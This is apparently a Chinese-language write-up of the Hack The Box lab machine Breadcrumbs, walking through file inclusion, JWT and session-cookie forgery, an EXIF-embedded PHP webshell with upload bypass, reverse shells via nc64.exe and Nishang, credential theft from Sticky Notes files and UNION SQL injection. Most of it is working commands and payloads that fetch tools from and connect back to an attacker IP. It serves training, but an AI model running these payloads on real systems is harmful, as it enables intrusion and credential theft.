nmap端口扫描
访问smb无果
JSON Web Tokens - jwt.io jwt令牌解密网站
exiftool -Comment=’<?php echo “<pre>”;system($_GET[“cmd”]); ?>’
主要知识点
文件包含漏洞
让我们前往网页http://10.10.10.228/。我们显示以下网页:
一边渗透网站,一边dirb扫描目录
点击check books 前往http: //10.10.10.228/php/books.php
在这里搜索会返回标题中包含输入的书籍(看起来它在两边都附加了通配符)。an
在标题中搜索返回:
单击“Book”按钮会加载包含更多详细信息的叠加层:
任何时候文件名被列为参数时,都值得寻找文件包含和目录遍历和/或文件包含漏洞。将此请求发送到 Burp Repeater,如果我将其更改为book=.
,它会返回错误:
这边就有了文件包含漏洞,可以用来查看后端文件,先放着可能后面有用
jwt令牌构建
访问/portal目录
这是一个登录页面,显示有关该网页是我们的 IP 地址的受限域的消息。提供了一个联系助手的链接:http://10.10.10.228/portal/php/admins.php
此页面显示当前哪个管理员/帮助程序处于活动状态。
让我们回到门户网站,注册并探索更多内容。
我们看到“文件管理”,这看起来很有趣。当我们尝试访问它时,我们会被重定向回仪表板。也许是因为分配的角色不允许我们访问它。让我们转到“用户管理”来查找所有可用的用户。
在这里我们可以看到“paul”、“alex”、“jack”是管理员。如果我们看到上面的内容,我们可以看到其中只有保罗具有“活跃”状态。现在我们的目标是以“paul”身份登录。我们还注意到,登录后会创建两个 cookie。
经过分析,我们发现“令牌”是一个JWT令牌,而“PHPSESSID”奇怪地包含我们的用户名。JWT 令牌包含以下信息:
下一步需要寻找secret key ,想到上面的文件包含
现在我们可以尝试模拟管理员“paul”,但我们需要 JWT 密钥,并且还需要了解如何生成“PHPSESSID”?
快速获取源代码脚本
#!/usr/bin/env python3 import requests import sys if len(sys.argv) != 2: print(f"[-] Usage: {sys.argv[0]} [path]") sys.exit() resp = requests.post('http://10.10.10.228/includes/bookController.php', data = {'book': f'../{sys.argv[1]}', 'method': '1'}) print(bytes(resp.text, "utf-8").decode('unicode_escape').strip('"'))
我可以运行它来获取页面的源代码:
这里将代码复制参考
/portal/includes/fileController.php 中找到了 paul 的 JWT“secret”
利用它构建令牌
/portal/cookie.php 中找到了创建“PHPSESSID”的代码
cookie.php 使用用户名生成随机 cookie,添加一行,然后使用用户名“paul”调用函数 makesession 来获取其 cookie。
复制到本地后运行,当我们运行此代码时,它会为我们提供用于用户“paul”的 cookie
现在我们拥有了“paul”的 JWT 令牌和 PHPSESSID,让我们更改浏览器中的 cookie,看看它是否有效。我使用Cookie 编辑器来处理 cookie。
现在只需保存更改,然后重新加载页面即可。我们现在已通过 Paul 身份验证!并具有管理员权限。
文件上传
访问“文件管理”
创建了一个简单的 PHP 文件,其中包含以下代码。
<?php echo “<pre>”;system($_GET[“cmd”]); ?>
会被ban了
第一种绕过
该网页显示警告并公开用于处理文件上传的文件,即\portal\includes\fileController.php以及文件将上传的位置,即\uploads。由于不允许使用 .php 文件,因此我们构建一个恶意图像文件。
exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' 2.jpeg
添加数据后,我们可以在图片的注释部分查看PHP代码
上传时,在burp中拦截请求,并在请求末尾将.zip扩展名更改为.php。这样服务器就会将其保存为PHP文件,PHP代码就可以被服务器处理并执行。
文件已成功上传。
第二种绕过
shell_exec
代替system
:
<?php $out=shell_exec($_REQUEST['cmd']); echo "<pre>$out</pre>"; ?>
反弹shell
nishang(失败)
我将从NishangInvoke-PowerShellTcpOneLine.ps1
获取并使用我的 IP 地址更新它,然后对其进行 base64 编码,以便 PowerShell 可以运行它:
cp /opt/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 . vim Invoke-PowerShellTcpOneLine.ps1 cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w0 JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdA。。。。
我尝试将其传递给 webshell,但没有返回任何 shell,也没有返回任何内容:
curl http://10.10.10.204:8080/portal/uploads/shell.php --data-urlencode "cmd=powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABl。。。。。。。。。。。。
看来这个 Nishang shell 也很可能被阻止。
powershell -enc用来执行base64编码的语句
powershell -c直接执行
nc.exe成功
我将启动一个 Python Web 服务器托管nc64.exe
,然后使用 PowerShell 获取它wget
:
curl http://10.10.10.228/portal/uploads/shell.php --data-urlencode "cmd=powershell -c wget 10.10.14.13/nc64.exe -outfile C:\programdata\nc64.exe"
现在用 shell 连接回来:
curl http://10.10.10.228/portal/uploads/shell.php --data-urlencode "cmd=C:\programdata\nc64.exe 10.10.14.13 443 -e powershell"
在我的聆听中nc
(rlwrap
在 Windows 上获取向上箭头历史记录和更好的终端):
sudo rlwrap nc -lnvp 443
ssh连接
进行枚举
在PS C:\xampp\htdocs\portal\pizzaDeliveryUserData>目录下发现一些用户的json文件,juliette.json中有密码
对于朱丽叶来说,有以下值:
{ "pizza" : "margherita", "size" : "large", "drink" : "water", "card" : "VISA", "PIN" : "9890", "alternate" : { "username" : "juliette", "password" : "jUli901./())!", } }
sshpass -p 'jUli901./())!' ssh juliette@10.10.10.228
提权root
粘滞便笺数据(plain text)
在根目录中C:\
有两个非标准文件夹,Anouncements
和Development
。第一个包含一个包含一些公告的文件:
朱丽叶无权访问Development
.
在 juliette 的桌面上,有一个todo.html
(因为 juliette 是那种在 HTML 表格中用 CSS 制作列表的人):
<html> <style> html{ background:black; color:orange; } table,th,td{ border:1px solid orange; padding:1em; border-collapse:collapse; } </style> <table> <tr> <th>Task</th> <th>Status</th> <th>Reason</th> </tr> <tr> <td>Configure firewall for port 22 and 445</td> <td>Not started</td> <td>Unauthorized access might be possible</td> </tr> <tr> <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td> <td>In progress</td> <td>It stores passwords in plain text</td> </tr> <tr> <td>Add new features to password manager</td> <td>Not started</td> <td>To get promoted, hopefully lol</td> </tr> </table> </html>
<td>It stores passwords in plain text</td>,提示了,我已经在端口 22 上。是时候查看粘滞便笺和密码管理器了。
一些谷歌搜索显示粘滞便笺数据 Sticky Notes data is stored存储在%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
,并且位于该靶机上
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> ls Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/15/2021 4:10 PM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session -a---- 11/29/2020 3:10 AM 4096 plum.sqlite -a---- 1/15/2021 4:10 PM 32768 plum.sqlite-shm -a---- 1/15/2021 4:10 PM 329632 plum.sqlite-wal
该-wal
文件是预写日志 (WAL) 文件。这用于实现原子提交和回滚。该-shm
文件是数据库的共享内存文件,为访问数据库的多个进程提供内存。这三个文件对于获取数据至关重要。如果我只获取该.sqlite
文件,它将显示为空。
有趣的是,如果我将所有三个都带到我的机器上,打开数据库,进行任何类型的查询,然后退出,因为现在没有进程拥有数据库的句柄,它将把它们全部保存到一个文件中.sqlite
。
我将使用 启动本地 SMB 服务器smbserver.py share . -smb2support
,然后将文件复制到新共享:
copy plum* \10.10.14.13\share\
kali
file plum.sqlite
我将使用打开数据库sqlite3 plum.sqlite
。它有一些表:
sqlite> .tables Media Stroke SyncState User Note StrokeMetadata UpgradedNote
只有Note
桌子上有一些有趣的东西。它有一堆列:
sqlite> .schema Note CREATE TABLE IF NOT EXISTS "Note" ( "Text" varchar , "WindowPosition" varchar , "IsOpen" integer , "IsAlwaysOnTop" integer , "CreationNoteIdAnchor" varchar , "Theme" varchar , "IsFutureNote" integer , "RemoteId" varchar , "ChangeKey" varchar , "LastServerVersion" varchar , "RemoteSchemaVersion" integer , "IsRemoteDataInvalid" integer , "Type" varchar , "Id" varchar primary key not null , "ParentId" varchar , "CreatedAt" bigint , "DeletedAt" bigint , "UpdatedAt" bigint );
这是Text
我关心的,它包含密码:
sqlite> select Text from Note; \id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())! \id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g \id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]
我已经有了 juliette 的密码,没有管理员密码
Krypter_Linux二进制文件
juliette 可以访问共享Anouncements
,但不能访问Development
共享:
oxdf@parrot$ smbmap -H 10.10.10.228 -u juliette -p 'jUli901./())!'
development具有对以下内容的读取权限Development
:
oxdf@parrot$ smbmap -H 10.10.10.228 -u development -p 'fN3)sN5Ee@g'
里面有个文件Krypter_Linux ,获取到本地
该二进制文件是未剥离的 x64 ELF:
t$ file Krypter_Linux Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
运行二进制文件会对其进行一些更新:
./Krypter_Linux Krypter V1.2 New project by Juliette. New features added weekly! What to expect next update: - Windows version with GUI support - Get password from cloud and AUTOMATICALLY decrypt! *** No key supplied. USAGE: Krypter <key>
他的执行需要密钥
cat Krypter_Linux
我们可以在这个二进制文件中看到一个链接:
http://passmanager.htb:1234/index.phpmethod=select&username=administrator&table=passwords
文件中应该是在执行curl命令,
端口转发(本地访问靶机网站)
1.让我们端口转发 1234.看看能不能本地访问到
ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228
然后curl http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords
接受到一个aes的key值
2.端口转发也可以利用chisel
上传它,在本地启动服务器,然后连接回它:
c.exe client 10.10.14.13:8000 R🔢127.0.0.1:1234
在服务器上:
./chisel_1.7.6_linux_amd64 server -p 8000 --reverse
3.还有一种就是
curl.exe
在 Breadcrumbs 上使用,无需任何转发:
juliette@BREADCRUMBS C:\ProgramData>curl "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords" selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(16) "k19D193j.<19391(" } }
sql注入
这个链接看起来像是有sql注入
curl "http://passmanager.htb:1234/index.php?method=select&username=administrator'&table=passwords"
在administratoe后面加个'试试
是有的
可以用sqlmap跑
这是别人的思想
curl "http://passmanager.htb:1234/index.php" -d "method=select&username=' UNION SELECT 1;-- -&table=passwords" selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(1) "1" } }
现在我可以用它来获取数据。列出 DBs 以查看只有两个:
curl -s "http://passmanager.htb:1234/index.php" -d "method=select&username=' UNION SELECT schema_name from information_schema.schemata;-- -&table=passwords" | grep string | cut -d'"' -f2 information_schema bread
数据库bread
只有一张表passwords
:
curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT table_name from information_schema.tables where table_schema='bread';-- -&table=passwords" | grep string | cut -d'"' -f2 passwords
该表有四列:
curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT column_name from information_schema.columns where table_name='passwords';-- -&table=passwords" | grep string | cut -d'"' -f2 id account password aes_key
获取所有数据:
curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT concat_ws(', ',id,account,password,aes_key) from passwords;-- -&table=passwords" | grep string | cut -d'"' -f2 1, Administrator, H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=, k19D193j.<19391(
利用Cyberchef:解密
sshpass -p 'p@ssw0rd!@#$9890./' ssh administrator@10.10.10.228